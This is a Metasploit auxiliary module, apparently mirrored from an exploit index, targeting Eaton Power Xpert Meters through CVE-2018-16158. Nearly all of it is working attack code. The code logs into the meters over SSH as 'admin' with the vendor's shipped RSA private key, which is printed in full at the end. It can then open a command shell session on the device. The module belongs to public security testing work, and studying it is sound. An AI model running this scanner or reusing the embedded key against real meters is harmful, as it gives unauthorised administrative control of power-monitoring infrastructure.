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## https://sploitus.com/exploit?id=PACKETSTORM:181224
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
###
# XXX: This shouldn't be necessary but is now
require 'net/ssh'
require 'net/ssh/command_stream'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SSH
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
include Msf::Auxiliary::Report
include Msf::Sessions::CreateSessionOptions
include Msf::Auxiliary::ReportSummary
def initialize(info = {})
super(update_info(info,
'Name' => 'Eaton Xpert Meter SSH Private Key Exposure Scanner',
'Description' => %q{
Eaton Power Xpert Meters running firmware below version 12.x.x.x or
below version 13.3.x.x ship with a public/private key pair that
facilitate remote administrative access to the devices.
Tested on: Firmware 12.1.9.1 and 13.3.2.10.
},
'Author' => [
'BrianWGray'
],
'References' => [
['CVE', '2018-16158'],
['EDB', '45283'],
['URL', 'https://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/PXM-Advisory.pdf'],
['URL', 'https://www.ctrlu.net/vuln/0006.html']
],
'DisclosureDate' => '2018-07-18',
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(22)
])
register_advanced_options([
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
])
end
def run_host(ip)
# Specified Kex/Encryption downgrade requirements must be set to connect to the Power Meters.
ssh_opts = ssh_client_defaults.merge({
auth_methods: ['publickey'],
port: rport,
key_data: [ key_data ],
hmac: ['hmac-sha1'],
encryption: ['aes128-cbc'],
kex: ['diffie-hellman-group1-sha1'],
host_key: ['ssh-rsa']
})
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
begin
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(ip, 'admin', ssh_opts)
end
rescue Net::SSH::Exception => e
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
return
end
return unless ssh
print_good("#{ip}:#{rport} - Logged in as admin")
version = ssh.transport.server_version.version
report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: version
)
shell = Net::SSH::CommandStream.new(ssh)
# XXX: Wait for CommandStream to log a channel request failure
sleep 0.1
if (e = shell.error)
print_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
return
end
info = "#{self.name} (#{version})"
ds_merge = {
'USERNAME' => 'admin'
}
if datastore['CreateSession']
start_session(self, info, ds_merge, false, shell.lsock)
end
# XXX: Ruby segfaults if we don't remove the SSH socket
remove_socket(ssh.transport.socket)
end
def rport
datastore['RPORT']
end
def key_data
<<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQCfwugh3Y3mLbxw0q4RZZ5rfK3Qj8t1P81E6sXjhZl7C3FyH4Mj
C15CEzWovoQpRKrPdDaB5fVyuk6w2fKHrvHLmU2jTzq79B7A4JJEBQatAJeoVDgl
TyfL+q6BYAtAeNsho8eP/fMwrT2vhylNJ4BTsJbmdDJMoaaHu/0IB9Z9ywIBIwKB
gQCEX6plM+qaJeVHif3xKFAP6vZq+s0mopQjKO0bmpUczveZEsu983n8O81f7lA/
c2j1CITvSYI6fRyhKZ0RVnCRcaQ8h/grzZNdyyD3FcqDNKO7Xf+bvYySrQXhLeQP
I3jXGQPfBZUicGPcJclA98SBdBI1SReAUls1ZdzDwA3T8wJBAM6j1N3tYhdqal2W
gA1/WSQrFxTt28mFeUC8enGvKLRm1Nnxk/np9qy2L58BvZzCGyHAsZyVZ7Sqtfb3
YzqKMzUCQQDF7GrnrxNXWsIAli/UZscqIovN2ABRa2y8/JYPQAV/KRQ44vet2aaB
trQBK9czk0QLlBfXrKsofBW81+Swiwz/AkEAh8q/FX68zY8Ssod4uGmg+oK3ZYZd
O0kVKop8WVXY65QIN3LdlZm/W42qQ+szdaQgdUQc8d6F+mGNhQj4EIaz7wJAYCJf
z54t9zq2AEjyqP64gi4JY/szWr8mL+hmJKoRTGRo6G49yXhYMGAOSbY1U5CsBZ+z
zyf7XM6ONycIrYVeFQJABB8eqx/R/6Zwi8mVKMAF8lZXZB2dB+UOU12OGgvAHCKh
7izYQtGEgPDbklbvEZ31F7H2o337V6FkXQMFyQQdHA==
-----END RSA PRIVATE KEY-----
EOF
end
end